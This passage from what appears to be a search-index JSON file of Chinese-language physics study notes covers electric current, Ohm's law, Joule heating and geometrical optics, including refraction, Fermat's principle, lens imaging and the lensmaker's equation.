\\boldsymbol{J} \\cdot d \\boldsymbol{A} = di \\] \\[     R=\\rho \\frac{dl}{dA} \\] <p>\u53ef\u4ee5\u63a8\u51fa</p> \\[     \\boldsymbol{J} = \\sigma \\boldsymbol{E} \\]"},{"location":"NOTE/Physics/eletronic/#_23","title":"\u7535\u529f\u7387\u4e0e\u7126\u8033\u5b9a\u5f8b","text":"<p>\u7535\u529f\u7387</p> <p>\u7535\u529f\u7387\u5b9a\u4e49\u4e3a\u5355\u4f4d\u65f6\u95f4\u5185\u7535\u6d41\u505a\u7684\u529f</p> \\[ P = \\frac{dW}{dt} = \\frac{dW}{dq} \\frac{dq}{dt} = V \\cdot I \\] <p>\u5176\u4e2d \\(P\\) \u662f\u7535\u529f\u7387\uff0c\\(W\\) \u662f\u7535\u529f\uff0c\\(V\\) \u662f\u7535\u538b\uff0c\\(I\\) \u662f\u7535\u6d41</p> <p>\u7126\u8033\u5b9a\u5f8b</p> <p>\u5bf9\u4e8e \u7eaf\u7535\u963b\u7535\u8def \uff0c\u7535\u529f\u7387\u53ef\u4ee5\u8868\u793a\u4e3a\\(P = I^2 R = \\dfrac{V^2}{R}\\)</p>"},{"location":"NOTE/Physics/eletronic/#_24","title":"\u6b27\u59c6\u5b9a\u5f8b\u7684\u5fae\u89c2\u89e3\u91ca","text":"<p>\u539f\u672c\u5728\u5bfc\u4f53\u4e2d\u505a\u70ed\u8fd0\u52a8\u7684\u7535\u5b50\uff0c\u5728\u65bd\u52a0\u4e86\u5916\u90e8\u7535\u573a\u540e\uff0c\u4f1a\u4ea7\u751f\u6f02\u79fb\u901f\u5ea6\uff1b</p> \\[\\begin{align*}   \\boldsymbol{a} &amp;= \\frac{e \\boldsymbol{E}}{m} \\\\   \\overline{v} &amp;= \\frac{1}{2} \\boldsymbol{a} t = \\frac{e \\boldsymbol{E} t}{2m} \\\\   &amp;= \\frac{e \\boldsymbol{E} l}{2m v_d} \\\\   \\boldsymbol{J} &amp;= ne \\overline{v} = \\dfrac{n e^2 \\boldsymbol{E} l}{2m v_d} = \\sigma \\boldsymbol{E}\\\\   \\sigma &amp;= \\dfrac{n e^2 l}{2m v_d} \\propto \\frac{1}{\\sqrt{T}}  \\end{align*}\\] <p>\u5176\u4e2d \\(\\lambda\\) \u662f\u7535\u5b50\u7684\u5e73\u5747\u81ea\u7531\u7a0b\uff0c\\(v_d\\) \u662f\u7535\u5b50\u7684\u70ed\u8fd0\u52a8\u901f\u5ea6\uff0c\u4e0e\\(\\sqrt{T}\\)\u6210\u6b63\u6bd4</p> <p>\u8fd9\u79cd\u7b97\u6cd5\u7ed9\u51fa\u4e86\u6211\u4eec\u7ecf\u5178\u7269\u7406\u5b66\u4e2d\u5173\u4e8e\u7535\u963b\u7684\u89e3\u91ca\uff0c\u4e0e\\(T\\)\u662f\u5f00\u65b9\u51fd\u6570\u7684\u5173\u7cfb\uff0c\u4f46\u662f\u8fd9\u53ea\u5728\u5b9a\u6027\u65b9\u9762\u7684\u6b63\u786e\u7684\uff0c\u786e\u5b9e\u968f\u7740\u6e29\u5ea6\u7684\u5347\u9ad8\uff0c\u7535\u963b\u4f1a\u589e\u5927\uff1b\u4f46\u662f\u66f4\u52a0\u73b0\u5b9e\u5177\u4f53\u7684\u63a8\u5bfc\u9700\u8981\u91cf\u5b50\u529b\u5b66\u7684\u5e2e\u52a9\uff0c\u624d\u80fd\u7ed9\u51fa\u5f88\u597d\u7684\u89e3\u91ca</p>"},{"location":"NOTE/Physics/genetic-data-svgrepo-com/","title":"Genetic data svgrepo com","text":"<p> \u7ea6 0 \u4e2a\u5b57 </p> <p></p>"},{"location":"NOTE/Physics/light/","title":"\u5149\u5b66","text":"<p> \u7ea6 8317 \u4e2a\u5b57  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 29 \u5206\u949f</p>"},{"location":"NOTE/Physics/light/#_2","title":"\u53ef\u89c1\u5149","text":"<p>\u5728\u7535\u78c1\u6ce2\u4e2d\uff0c\u53ef\u89c1\u5149\u53ea\u5360\u4e86\u5f88\u5c0f\u4e00\u90e8\u5206</p> <p>Property</p> <ul> <li>\u53ef\u89c1\u5149\u6ce2\u957f\u8303\u56f4\uff1a\\(400nm-700nm\\)</li> <li>\u53ef\u89c1\u5149\u9891\u7387\u8303\u56f4\uff1a\\(4.3\\times10^{14}Hz-7.5\\times10^{14}Hz\\)</li> <li>\u53ef\u89c1\u5149\u6ce2\u957f\u4e0e\u9891\u7387\u7684\u5173\u7cfb\uff1a\\(\\lambda f=c\\)</li> <li>\u4eba\u773c\u6700\u654f\u611f\u7684\u6ce2\u957f\\(550nm\\)\u5de6\u53f3\u4e3a\u9ec4\u7eff\u5149</li> <li>\u6ce2\u957f\u8d8a\u957f\uff0c\u9891\u7387\u8d8a\u4f4e\uff0c\u80fd\u91cf\u8d8a\u4f4e,\u6240\u4ee5\u7ea2\u5149\u80fd\u91cf\u6700\u4f4e\uff0c\u7d2b\u5149\u80fd\u91cf\u6700\u9ad8</li> <li></li> </ul>"},{"location":"NOTE/Physics/light/#_3","title":"\u6ce2\u7684\u591a\u666e\u52d2\u6548\u5e94","text":"\\[ f'=\\dfrac{v\\pm v_0}{v\\pm v_s}f \\] <p>\u5176\u4e2d\uff0c\\(v\\)\u4e3a\u6ce2\u5728\u4ecb\u8d28\u4e2d\u7684\u4f20\u64ad\u901f\u5ea6\uff0c\u6ce2\u6e90\u901f\u5ea6\u4e3a\\(v_s\\)\uff0c\u63a5\u6536\u8005\u901f\u5ea6\u4e3a\\(v_0\\)\uff0c\\(f\\)\u4e3a\u6ce2\u7684\u9891\u7387</p> <p>\u5bf9\u4e8e\u5149\u6ce2\uff0c\u6709\u7ea2\u79fb\u548c\u84dd\u79fb</p> <ul> <li>\u7ea2\u79fb\uff1a\u6ce2\u6e90\u8fdc\u79bb\u63a5\u6536\u8005\uff0c\u6ce2\u957f\u53d8\u957f\uff0c\u9891\u7387\u53d8\u5c0f\uff0c\u5149\u8c31\u5411\u7ea2\u8272\u79fb\u52a8</li> </ul> \\[     f=f_0 \\sqrt{\\dfrac{1-\\frac{u}{c}}{1+\\frac{u}{c}}} \\] <ul> <li>\u84dd\u79fb\uff1a\u6ce2\u6e90\u9760\u8fd1\u63a5\u6536\u8005\uff0c\u6ce2\u957f\u53d8\u77ed\uff0c\u9891\u7387\u53d8\u5927\uff0c\u5149\u8c31\u5411\u84dd\u8272\u79fb\u52a8</li> </ul> \\[     f=f_0 \\sqrt{\\dfrac{1+\\frac{u}{c}}{1-\\frac{u}{c}}} \\] <p>Key-point</p> <p>\u901a\u5f0f\u4e3a</p> \\[     f = f_0 \\dfrac{\\sqrt{1-\\frac{u^2}{c^2}}}{1-\\frac{u}{c}\\cos \\theta} \\] <p>\u5176\u4e2d\\(\\theta\\)\u4e3a\u901f\u5ea6\u4e0e\u5149\u6ce2\u8fd0\u52a8\u7684\u5939\u89d2</p>"},{"location":"NOTE/Physics/light/#_4","title":"\u51e0\u4f55\u5149\u5b66","text":""},{"location":"NOTE/Physics/light/#_5","title":"\u5168\u53cd\u5c04","text":"<p>\u5168\u53cd\u5c04\u662f\u5149\u6ce2\u5728\u4f20\u64ad\u8fc7\u7a0b\u4e2d\u53d1\u751f\u7684\u4e00\u79cd\u7269\u7406\u73b0\u8c61\u3002\u5f53\u5149\u4ece\u5149\u5bc6\u4ecb\u8d28\uff08\u5982\u73bb\u7483\u6216\u6c34\uff09\u8fdb\u5165\u5149\u758f\u4ecb\u8d28\uff08\u5982\u7a7a\u6c14\uff09\u65f6\uff0c\u5982\u679c\u5165\u5c04\u89d2\u5927\u4e8e\u67d0\u4e2a\u4e34\u754c\u89d2\uff08\u79f0\u4e3a\u4e34\u754c\u89d2\uff09\uff0c\u5149\u5c31\u4e0d\u4f1a\u53d1\u751f\u6298\u5c04\uff0c\u800c\u662f\u5168\u90e8\u88ab\u53cd\u5c04\u56de\u5149\u5bc6\u4ecb\u8d28\uff0c\u8fd9\u79cd\u73b0\u8c61\u79f0\u4e3a\u5168\u53cd\u5c04</p> <p>\u4f8b\u5982\uff0c\u5728\u73bb\u7483\u4e2d\uff0c\\(n=1.5\\)\uff0c\u5728\u7a7a\u6c14\u4e2d\uff0c\\(n_0=1\\);\u53c8\u6709</p> \\[    \\dfrac{\\sin \\theta_2}{\\sin \\theta_1}=\\dfrac{n_1}{n_2} \\] <p>\u4e34\u754c\u89d2\u4e3a\\(\\theta_2 = 90^\\circ\\)\uff0c\u6240\u4ee5\u6b64\u65f6</p> \\[     \\sin \\theta_c = \\dfrac{n_2}{n_1} \\] <p>\u5982\u679c\u5165\u5c04\u89d2\u5927\u4e8e\u4e34\u754c\u89d2\uff0c\u5149\u5c31\u4f1a\u53d1\u751f\u5168\u53cd\u5c04\uff0c\u88ab\u675f\u7f1a\u5728\u5149\u5bc6\u4ecb\u8d28\u4e2d,\u5728\u8fd9\u4e2a\u4f8b\u5b50\u4e2d\uff0c\u4e34\u754c\u89d2\u4e3a\\(\\theta_c = \\arcsin \\dfrac{1}{1.5} = 41.8^\\circ\\)</p> <p>Note</p> <p>\u6c42\u6298\u5c04\u7387,\u53ef\u4ee5\u901a\u8fc7\u4ee5\u4e0b\u516c\u5f0f\u6c42\u89e3</p> \\[     n = \\dfrac{\\sin \\theta_1}{\\sin \\theta_2} \\] <p>\u5176\u4e2d\\(\\theta_1\\)\u4e3a\u7a7a\u6c14\u4e2d\u5165\u5c04\u89d2\uff0c\\(\\theta_2\\)\u4e3a\u6298\u5c04\u89d2</p>"},{"location":"NOTE/Physics/light/#_6","title":"\u8272\u6563","text":"<p>**\u8272\u6563\u73b0\u8c61**\u662f\u6307\u5f53\u767d\u5149\u6216\u590d\u8272\u5149\u901a\u8fc7\u4ecb\u8d28\uff08\u5982\u68f1\u955c\u3001\u5149\u6805\uff09\u65f6\uff0c\u4e0d\u540c\u6ce2\u957f\u7684\u5149\u7531\u4e8e\u6298\u5c04\u7387\u4e0d\u540c\u800c\u53d1\u751f\u4e0d\u540c\u7a0b\u5ea6\u7684\u504f\u6298\uff0c\u4ece\u800c\u4f7f\u5149\u88ab\u5206\u89e3\u6210\u5404\u79cd\u5355\u8272\u5149\u7684\u73b0\u8c61\u3002\u5b83\u662f\u5149\u7684\u6ce2\u52a8\u7279\u6027\u7684\u4e00\u79cd\u8868\u73b0\uff0c\u4e3b\u8981\u7531\u4ecb\u8d28\u7684**\u6298\u5c04\u7387\u968f\u6ce2\u957f\u7684\u53d8\u5316**\u5f15\u8d77\u3002</p> \\[ n = \\frac{c}{v} \\] <p>\u7531\u4e8e \\( v \\) \u4e0e\u6ce2\u957f \\( \\lambda \\) \u76f8\u5173\uff0c\u4ecb\u8d28\u5bf9\u4e0d\u540c\u6ce2\u957f\u7684\u5149\u6298\u5c04\u7387\u4e0d\u540c\uff0c\u5bfc\u81f4\u6298\u5c04\u89d2\u4e0d\u540c\u3002\u901a\u5e38\u60c5\u51b5\u4e0b\uff1a</p> <ul> <li>\u77ed\u6ce2\u957f\u5149\uff08\u5982\u7d2b\u5149\uff09\u6298\u5c04\u7387\u8f83\u5927\uff0c\u504f\u6298\u89d2\u8f83\u5927\u3002</li> <li>\u957f\u6ce2\u957f\u5149\uff08\u5982\u7ea2\u5149\uff09\u6298\u5c04\u7387\u8f83\u5c0f\uff0c\u504f\u6298\u89d2\u8f83\u5c0f\u3002</li> </ul> <p>\u8fd9\u79cd\u6ce2\u957f\u4f9d\u8d56\u6027\u5bfc\u81f4\u4e86\u8272\u6563\u3002</p>"},{"location":"NOTE/Physics/light/#_7","title":"\u60e0\u66f4\u65af\u539f\u7406","text":"<p>\u5b9a\u7406\u5185\u5bb9</p> <p>\u6ce2\u524d\u4e0a\u7684\u6bcf\u4e00\u4e2a\u70b9\u90fd\u53ef\u4ee5\u770b\u4f5c\u662f\u65b0\u7684\u7403\u9762\u6ce2\uff08\u6b21\u6ce2\uff09\u6e90\uff0c\u8fd9\u4e9b\u6b21\u6ce2\u76f8\u5e72\u53e0\u52a0\u540e\u5f62\u6210\u4e86\u6ce2\u7684\u4f20\u64ad\u65b9\u5411\u548c\u6ce2\u524d\u3002</p> <p>\u60e0\u66f4\u65af\u539f\u7406\u8bc1\u660e\u5149\u7684\u53cd\u5c04\u4e0e\u6298\u5c04</p> <p> </p> <p>\u53cd\u5c04</p> <p>\u8bc1\u660e\u4e09\u89d2\u5f62\u5168\u7b49\uff0c\u8fd0\u7528\u7b49\u89d2\u4e92\u4f59</p> \\[ A_1 C_1 = A_n B_n = v_1 t_n \\] \\[ \\Delta A_1 C_1 B_n \\cong \\Delta B_n A_n A_1 \\] \\[ \\therefore \\angle A_n A_1 B_n = \\angle C_1 B_n A_1 \\] \\[ \\Rightarrow i_1' = i_1  \\] <p>\u6298\u5c04</p> \\[ \\angle D_1B_nA_1 = i_2 \\] \\[ \\sin i_2 = \\frac{A_1D_1}{A_1B_n} \\] \\[ \\sin i_1 = \\frac{A_nB_n}{A_1B_n} \\] \\[ \\therefore \\frac{\\sin i_1}{\\sin i_2} = \\frac{A_nB_n}{A_1D_1} = \\frac{v_1 t}{v_2 t} = \\frac{v_1}{v_2} \\] <p>\u518d\u8fd0\u7528</p> \\[     v=\\dfrac{c}{n} \\] <p>\u5e26\u5165\u5373\u53ef</p>"},{"location":"NOTE/Physics/light/#_8","title":"\u8d39\u9a6c\u539f\u7406","text":"<p>\u5149\u7a0b\u5b9a\u4e49\u4e3a</p> \\[     L = n_1 s_1 + n_2 s_2 \\] <p>\u5176\u4e2d\\(n_1\\)\u548c\\(n_2\\)\u5206\u522b\u4e3a\u4e24\u4e2a\u4ecb\u8d28\u7684\u6298\u5c04\u7387\uff0c\\(s_1\\)\u548c\\(s_2\\)\u5206\u522b\u4e3a\u4e24\u4e2a\u4ecb\u8d28\u4e2d\u5149\u7ebf\u7684\u5b9e\u9645\u8def\u5f84\u957f\u5ea6</p> <p>\u79ef\u5206\u5f62\u5f0f\u4e3a</p> \\[     L = \\int n ds \\] <p>\u8d39\u9a6c\u539f\u7406\u662f\u6307\u5149\u7ebf\u5728\u4f20\u64ad\u8fc7\u7a0b\u4e2d\uff0c\u82e5\u53ef\u4ee5\u6210\u50cf\uff0c\u5219\u5149\u7a0b\u7684\u53d8\u5206\u4e3a\u96f6(\u5bf9\u67d0\u4e00\u4e2a\u53d8\u91cf\u6c42\u504f\u5bfc\u4e3a\u96f6)</p> <p>\u5373</p> \\[     \\delta \\int n ds = 0 \\] <p>\u8d39\u9a6c\u539f\u7406\u8bc1\u660e\u53cd\u5c04\u548c\u6298\u5c04</p> <p> </p> \\[ L = \\sqrt{a^2 + x^2} + \\sqrt{b^2 + (d - x)^2} \\] \\[ \\frac{dL}{dx} = \\frac{1}{2} \\cdot \\frac{2x}{\\sqrt{a^2 + x^2}} - \\frac{1}{2} \\cdot \\frac{2(d - x)}{\\sqrt{b^2 + (d - x)^2}} = 0 \\] \\[ \\frac{x}{\\sqrt{a^2 + x^2}} = \\frac{(d - x)}{\\sqrt{b^2 + (d - x)^2}} \\] \\[ \\sin \\theta_1 = \\sin \\theta_1' \\quad \\theta_1 = \\theta_1' \\] <p> </p> \\[ L = n_1 \\sqrt{a^2 + x^2} + n_2 \\sqrt{b^2 + (d - x)^2} \\] \\[ \\frac{dL}{dx} = \\frac{1}{2} n_1 \\frac{2x}{\\sqrt{a^2 + x^2}} - \\frac{1}{2} n_2 \\frac{2(d - x)}{\\sqrt{b^2 + (d - x)^2}} = 0 \\] \\[ n_1 \\frac{x}{\\sqrt{a^2 + x^2}} = n_2 \\frac{(d - x)}{\\sqrt{b^2 + (d - x)^2}}, \\quad n_1 \\sin \\theta_1 = n_2 \\sin \\theta_2 \\]"},{"location":"NOTE/Physics/light/#image-formation","title":"\u6210\u50cf(Image Formation)","text":"<p>\u6210\u50cf\u7684\u57fa\u672c\u539f\u5219\u662f\u7b49\u5149\u7a0b</p> <p>\u5de6\u8fb9\u79f0\u4e3a\u7269\u65b9\uff0c\u53f3\u8fb9\u79f0\u4e3a\u50cf\u65b9</p>"},{"location":"NOTE/Physics/light/#_9","title":"\u7403\u9762\u955c\u6210\u50cf","text":"<p>C\u4e3a\u7403\u5fc3;r\u4e3a\u7403\u534a\u5f84;</p> <p>\u9996\u5148\uff0c\u4f7f\u7528\u6b63\u5f26\u5b9a\u7406</p> \\[ \\begin{cases} \\dfrac{p}{\\sin \\phi} = \\dfrac{o + r}{\\sin \\theta} = \\dfrac{r}{\\sin u} \\\\ \\dfrac{p'}{\\sin \\phi} = \\dfrac{i - r}{\\sin \\theta'} = \\dfrac{r}{\\sin u'} \\end{cases} \\] \\[ \\begin{align*} n \\sin \\theta &amp;= n' \\sin \\theta' \\\\ \\theta - u &amp;= \\theta' + u' = \\phi \\end{align*} \\] \\[ \\begin{cases} \\dfrac{p}{o + r} = \\dfrac{\\sin \\phi}{\\sin \\theta} \\\\ \\dfrac{p'}{i - r} = \\dfrac{\\sin \\phi}{\\sin \\theta'} \\end{cases} \\] \\[ \\therefore \\frac{p}{n(o + r)} = \\frac{p'}{n'(i - r)} \\] <p>\u4f7f\u7528\u4f59\u5f26\u5b9a\u7406</p> \\[ \\begin{cases} p^2 = (o + r)^2 + r^2 - 2r(o + r) \\cos \\phi = o^2 + 4r(o + r) \\sin^2 \\frac{\\phi}{2} \\\\ p'^2 = (i - r)^2 + r^2 + 2r(i - r) \\cos \\phi = i^2 - 4r(i - r) \\sin^2 \\frac{\\phi}{2} \\end{cases} \\] \\[ \\cos \\phi = 1 - 2 \\sin^2 \\frac{\\phi}{2} \\] \\[ \\Rightarrow \\frac{o^2}{n^2(o + r)^2} - \\frac{i^2}{n'^2(i - r)^2} = -4r \\sin^2 \\frac{\\phi}{2} \\left[ \\frac{1}{n^2(o + r)} + \\frac{1}{n'^2(i - r)} \\right] \\] <p>\u4e0d\u540c\u7684\\(\\phi\\)\u5bf9\u5e94\u4e0d\u540c\u7684\u6210\u50cf\u4f4d\u7f6e,\u7403\u9762\u4e0d\u80fd\u6210\u50cf\uff1b</p> <p>\u552f\u4e00\u53ef\u80fd\u7684\u4f4d\u7f6e\u4e3a\u4e24\u8fb9\u4e3a0\uff1b</p> \\[ \\begin{cases} \\dfrac{o^2}{n^2(o + r)^2} - \\dfrac{i^2}{n'^2(i - r)^2} = 0 \\\\ \\dfrac{1}{n^2(o + r)} + \\dfrac{1}{n'^2(i - r)} = 0 \\end{cases} \\] <p>\u6216\u8005\u4f7f\u7528\u65c1\u8f74\u8fd1\u4f3c,\u5373\\(\\phi\\)\u5f88\u5c0f,\u53f3\u8fb9\u4e3a0\uff1b</p> \\[ \\frac{o^2}{n^2(o + r)^2} = \\frac{i^2}{n'^2(i - r)^2} \\] \\[ \\frac{n(o + r)}{o} = \\frac{n'(i - r)}{i} \\] \\[ \\frac{n'}{i} + \\frac{n}{o} = \\frac{n' - n}{r} \\] <p>\u53c8\u6709</p> \\[ \\begin{cases} i \\to \\infty, \\quad o = f = \\dfrac{n}{n' - n} r \\\\ o \\to \\infty, \\quad i = f' = \\dfrac{n'}{n' - n} r \\end{cases} \\] \\[ \\dfrac{f}{f'} = \\dfrac{n}{n'}, \\quad \\dfrac{f}{o} + \\dfrac{f'}{i} = 1 \\] <p>\u7b26\u53f7\u7684\u7ea6\u5b9a</p> <ul> <li>\\(o\\),\u5b9e\u4e3a+\uff0c\u865a\u4e3a-(Q\uff0c\u5728\u5de6\u4e3a+\uff0c\u53f3\u4e3a-)</li> <li>\\(i\\),\u5b9e\u4e3a+\uff0c\u865a\u4e3a-(Q'\uff0c\u5728\u5de6\u4e3a-\uff0c\u53f3\u4e3a+)</li> <li>\\(r\\),\u51f8\u4e3a+\uff0c\u51f9\u4e3a-(C,\u5728\u5de6\u4e3a-\uff0c\u53f3\u4e3a+)</li> </ul> <p> </p> <p> </p>"},{"location":"NOTE/Physics/light/#_10","title":"\u7403\u9762\u955c\u53cd\u5c04","text":"\\[ n \\sin \\theta = n' \\sin \\theta' \\quad \\text{if } \\theta &gt; 0, \\text{ then } \\theta' &lt; 0 \\] \\[ n = -n' \\] \\[ f = \\frac{n}{n' - n} r = -\\frac{r}{2} \\] \\[ f' = \\frac{n'}{n' - n} r = \\frac{1}{2} r \\] <p>\u5e26\u5165\u6298\u5c04\u516c\u5f0f</p> \\[ \\Rightarrow \\frac{1}{o} + \\frac{1}{i} = -\\frac{2}{r} \\] <p>\u5982\u679c\u662f\u5e73\u9762\u955c\uff0c\u90a3\u4e48\\(r \\to \\infty\\)\uff0c\u6210\u865a\u50cf\uff1b</p>"},{"location":"NOTE/Physics/light/#_11","title":"\u653e\u5927\u500d\u6570","text":"<p>\u9996\u5148\uff0c\u7531\u65c1\u8f74\u8fd1\u4f3c</p> \\[     n \\sin \\theta = n' \\sin \\theta' \\Rightarrow  n \\theta = n' \\theta' \\] <p>\\(y'&lt;0\\)</p> \\[ y \\approx o \\cdot \\theta, \\, -y' = i \\cdot \\theta' \\] \\[ \\therefore m = \\frac{y'}{y} = -\\frac{i\\theta'}{o\\theta} = -\\frac{n \\cdot i}{n' \\cdot o} \\] <p>\u5982\u679c\\(n=n'\\)\uff0c\u5219\\(m=-\\dfrac{i}{o}\\) \u8d1f\u53f7\u8868\u793a\u5012\u50cf</p>"},{"location":"NOTE/Physics/light/#_12","title":"\u8584\u900f\u955c\u6210\u50cf","text":"<p>\u9996\u5148\uff0c\u5bf9\u4e8e\\(n\\)\u548c\\(n_L\\),\\(n_L\\)\u548c\\(n'\\)\uff0c\u5206\u522b\u4f7f\u7528\u7403\u9762\u955c\u6210\u50cf\u516c\u5f0f</p> \\[ \\begin{cases}  \\frac{f_1'}{i_1} + \\frac{f_1}{o_1} = 1  \\\\  \\frac{f_2'}{i_2} + \\frac{f_2}{o_2} = 1  \\end{cases} \\] <p>\u5176\u4e2d</p> \\[ \\begin{aligned} f_1 &amp;= \\frac{n}{n_L - n} r_1, \\quad f_1' = \\frac{n_L}{n_L - n} r_1 \\\\ f_2 &amp;= \\frac{n_L}{n' - n_L} r_2, \\quad f_2' = \\frac{n'}{n' - n_L} r_2 \\end{aligned} \\] <p>\\(o_2\\)\u662fQ\u7ecf\u8fc7\u7b2c\u4e00\u4e2a\u7403\u9762\u955c\u7684\u865a\u50cf\u50cf\u8ddd,\u6240\u4ee5</p> \\[ -o_2 = i_1 - d, \\quad o_2 = d - i_1 \\] <p>\u5bf9\u4e8e(1)\u5f0f\u4e24\u8fb9\u540c\u65f6\u4e58\u4ee5\\(f_2\\)\uff0c\u5bf9\u4e8e(2)\u5f0f\u4e24\u8fb9\u540c\u65f6\u4e58\u4ee5\\(f_1'\\)</p> \\[ \\begin{cases}  \\frac{f_1' f_2}{i_1} + \\frac{f_1 f_2}{o_1} = f_2 \\\\  \\frac{f_1' f_2'}{i_2} + \\frac{f_1' f_2}{-i_1} = f_1' \\end{cases} \\] <p>\u76f8\u52a0</p> \\[ \\frac{f_1' f_2'}{i_2} + \\frac{f_1 f_2}{o_1} = f_1' + f_2 \\] \\[ \\frac{f_1' f_2'}{i} + \\frac{f_1 f_2}{o} = f_1' + f_2 \\] <p>\u9664\u8fc7\u53bb,\u5f97\u5230</p> \\[ \\frac{f'}{i} + \\frac{f}{o} = 1 \\] <p>\u5176\u4e2d\uff0c\u4ee4</p> \\[     f' = \\frac{f_1' f_2'}{f_1' + f_2} \\] \\[     f = \\frac{f_1 f_2}{f_1' + f_2} \\]"},{"location":"NOTE/Physics/light/#lens-makers-equation","title":"\u78e8\u955c\u8005\u516c\u5f0f(Lens Maker's Equation)","text":"\\[ f' = \\frac{f_1' f_2'}{f_1' + f_2} = \\frac{\\frac{n_L}{n_L - n} \\cdot \\frac{n'}{n' - n_L} r_1 r_2}{\\frac{n_L}{n_L - n} r_1 + \\frac{n'}{n' - n_L} r_2} = \\frac{n'}{\\frac{n_L - n}{r_1} + \\frac{n' - n_L}{r_2}} \\] \\[ f = \\frac{f_1 f_2}{f_1' + f_2} = \\frac{\\frac{n}{n_L - n} \\cdot \\frac{n_L}{n' - n_L} r_1 r_2}{\\frac{n_L}{n_L - n} r_1 + \\frac{n_L}{n' - n_L} r_2} = \\frac{n}{\\frac{n_L - n}{r_1} + \\frac{n' - n_L}{r_2}} \\] <p>\u6240\u4ee5</p> \\[     \\dfrac{f'}{f} = \\dfrac{n'}{n} \\] <p>\u5982\u679c\\(n=n'=1\\)\uff0c\u5219\\(f' = f\\)</p> \\[ f = f' = \\frac{1}{(n_L - 1) \\left( \\frac{1}{r_1} - \\frac{1}{r_2} \\right)} \\] <p>\u5982\u679c\\(f'\u548cf\\)\u90fd\u4e3a\u6b63\uff0c\u5219\u900f\u955c\u4e3a\u51f8\u900f\u955c\uff0c\u53cd\u4e4b\\(f\uff0cf'\\)\u4e3a\u8d1f\uff0c\u5219\u900f\u955c\u4e3a\u51f9\u900f\u955c</p>"},{"location":"NOTE/Physics/light/#_13","title":"\u7b26\u53f7\u7ea6\u5b9a","text":"<ul> <li>\u5982\u679c \\(Q\\) \u5728 \\(F\\) \u70b9\u7684\u5de6\u4fa7\uff0c\\(x &gt; 0\\)</li> <li>\u5982\u679c \\(Q\\) \u5728 \\(F\\) \u70b9\u7684\u53f3\u4fa7\uff0c\\(x &lt; 0\\)</li> <li>\u5982\u679c \\(Q'\\) \u5728 \\(F'\\) \u70b9\u7684\u5de6\u4fa7\uff0c\\(x' &lt; 0\\)</li> <li>\u5982\u679c \\(Q'\\) \u5728 \\(F'\\) \u70b9\u7684\u53f3\u4fa7\uff0c\\(x' &gt; 0\\)</li> </ul> \\[ o = f + x \\] \\[ i = f' + x' \\] \\[ \\frac{1}{f + x} + \\frac{1}{f' + x'} = \\frac{1}{f} \\] <p>\u53ef\u4ee5\u5316\u7b80\u4e3a</p> \\[ xx' = ff' \\]"},{"location":"NOTE/Physics/light/#_14","title":"\u6a2a\u5411\u653e\u5927\u500d\u6570\u4e0e\u5c48\u5149\u5ea6","text":"<p>\u5bf9\u4e8e\u5355\u4e2a\u955c\u9762\uff0c\u653e\u5927\u500d\u6570\u4e3a</p> \\[ m_1 = -\\dfrac{ni_1}{n_L o_1}, \\quad m_2 = -\\dfrac{n i_2}{n' o_2} \\] <p>\u5176\u4e2d\\(o_2\\)\u662fQ\u7ecf\u8fc7\u7b2c\u4e00\u4e2a\u7403\u9762\u955c\u7684\u865a\u50cf\u50cf\u8ddd,\u662f\u8d1f\u7684\uff1b</p> \\[ m = m_1 m_2 = \\dfrac{n i_1}{n_L o_1} \\cdot \\dfrac{n_L i_2}{n' o_2} = \\dfrac{n i_1}{n_L o_1} \\cdot \\dfrac{n_L i}{n' (-i_1)} = -\\dfrac{n i}{n' o} = -\\dfrac{fi}{f' o} \\] <p>\u5b9a\u4e49\u5c48\u5149\u5ea6</p> \\[ D = \\dfrac{1}{f} \\] <p>\u773c\u955c\u5ea6\u6570\u5b9a\u4e49\u4e3a100D\uff1b</p>"},{"location":"NOTE/Physics/light/#_15","title":"\u4eba\u773c\u6210\u50cf","text":"<p>\u4eba\u773c\u6700\u8fd1\u53ef\u4ee5\u770b\u6e05\u7684\u8ddd\u79bb\u4e3a25cm\uff0c\u6700\u8fdc\u53ef\u4ee5\u770b\u6e05\u7684\u8ddd\u79bb\u4e3a\u65e0\u7a77\u8fdc\uff1b</p> \\[ \\frac{1}{250 \\, \\text{mm}} + \\frac{1}{25 \\, \\text{mm}} = \\frac{1}{f} \\] <p>\u6b64\u65f6\\(f = 22.7mm\\)</p> <p>\u770b\u65e0\u7a77\u8fdc\u65f6,\\(d_o = \\infty, d_i = 25mm\\),\u6b64\u65f6\\(f = 25mm\\)</p> <p>\u8fd1\u89c6\u773c\u548c\u8fdc\u89c6\u773c\u53ef\u4ee5\u62b5\u6d88\u5417\uff1f</p> <p>\u8fd1\u89c6\u773c\u548c\u8fdc\u89c6\u773c\u4e0d\u80fd\u62b5\u6d88\uff0c\u8fd1\u89c6\u773c\u662f\u770b\u4e0d\u6e05\u65e0\u7a77\u8fdc\uff0c\u6210\u50cf\u5728\u89c6\u7f51\u819c\u524d\u65b9\uff0c\u8fdc\u89c6\u773c\u662f\u770b\u4e0d\u6e0525cm\uff0c\u6210\u50cf\u5728\u89c6\u7f51\u819c\u540e\u65b9\uff1b\u4e24\u8005\u90fd\u662f\u56e0\u4e3a\u4eba\u7684\u6676\u72b6\u4f53\u53d8\u5316\u8ddf\u4e0d\u4e0a\uff0c\u5982\u679c\u540c\u65f6\u6709\u8fd1\u89c6\u773c\u548c\u8fdc\u89c6\u773c\uff0c\u53ef\u80fd\u53ea\u80fd\u770b\u5230\u7279\u5b9a\u8ddd\u79bb\u7684\u7269\u4f53\uff1b</p>"},{"location":"NOTE/Physics/light/#_16","title":"\u653e\u5927\u955c","text":"<p>\u5bf9\u4e8e\u5f88\u5c0f\u7684\u7269\u4f53\uff0c\u6211\u4eec\u53ef\u4ee5\u628a\u5b83\u51d1\u5f97\u79bb\u773c\u775b\u5f88\u8fd1\uff0c\u4f46\u662f\u8fd9\u6837\u5bf9\u6676\u72b6\u4f53\u7684\u538b\u529b\u5f88\u5927\uff0c\u6240\u4ee5\u6211\u4eec\u4f7f\u7528\u653e\u5927\u955c\uff0c\u51d1\u5f97\u5f88\u8fd1\u7684\u65f6\u5019\uff0c\u5229\u7528\u653e\u5927\u955c\u6210\u4e00\u4e2a\u653e\u5927\u7684\u865a\u50cf</p> <p>\u4f8b\u5982\uff0c\u539f\u672c\u5728\\(N\\)\u7684\u5730\u65b9\u6709\u4e00\u4e2a\u5c0f\u7269\u4f53\uff0c\u9ad8\u5ea6\u4e3a\\(d_0\\)</p> \\[     \\tan \\theta = \\frac{h_0}{N} \\sim \\theta = \\frac{h_0}{N} \\] 